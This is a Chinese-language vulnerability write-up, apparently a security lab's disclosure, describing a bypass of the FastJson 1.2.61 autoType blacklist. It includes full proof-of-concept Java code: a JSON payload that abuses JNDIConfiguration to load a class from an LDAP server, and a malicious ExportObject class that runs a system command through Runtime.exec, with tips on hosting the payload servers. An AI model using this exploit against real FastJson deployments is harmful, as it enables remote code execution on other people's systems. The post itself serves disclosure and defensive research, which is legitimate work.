前言
最近FastJson更新了黑名单,升级到了1.2.61版本,我尝试bypass其黑名单,在AutType打开的情况下成功绕过了黑名单防护.(目前暂未修复,官方即将更新)
复现环境准备
- 1.JDK 8U20 
- 2.所需jar清单如下 
fastjson-1.2.61.jar
commons-configuration2-2.0.jar
commons-lang3-3.3.2.jar
commons-logging-1.2.jar
FastJson复现
FastJsonTest.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastJsonTest {
public static void main(String[] args){
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String jsonStr6 = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:1389/ExportObject\"}";
        JSONObject json = JSON.parseObject(jsonStr6);
        json.toJSONString();
    }
}
恶意类ExportObject.java
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
        Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
while((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }
        String result = sb.toString();
        Exception e = new Exception(result);
throw e;
    }
public static void main(String[] args) throws Exception {
    }
}
使用org.apache.commons.configuration2.JNDIConfiguration payload 效果如下

关于黑名单
Fastjson 在1.2.42版本开始,将原本明文的黑名单改成了hash value的黑名单

使用这种方式,能在一定程度上减缓安全研究者对fastjson黑名单绕过的速度
关于黑名单,有安全研究者在GitHub上开源了一个项目,叫做fastjson-blacklist,大家可以关注一下.

后记
对于不会开启rmi和ldap服务的同学可以查阅我的文章——《如何快速开启RMI&&LDAP》,快速开启http服务可以使用python -m SimpleHTTPServer.
使用JNDI进行rce,请注意JDK对于JNDI的修复,可参考pyn3rd师傅的图

Reference
fastjson-blacklist:
https://github.com/LeadroyaL/fastjson-blacklist/](https://github.com/LeadroyaL/fastjson-blacklist/
fastjson官方黑名单:
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
如何快速开启RMI&&LDAP:
https://mp.weixin.qq.com/s/TuQWvyro5vphyeZCAo_Y6g
时间轴
[0] 2019年9月20日 亚信安全提交该漏洞给阿里巴巴
[1] 2019年9月23日 亚信安全网络攻防实验室发布预警公告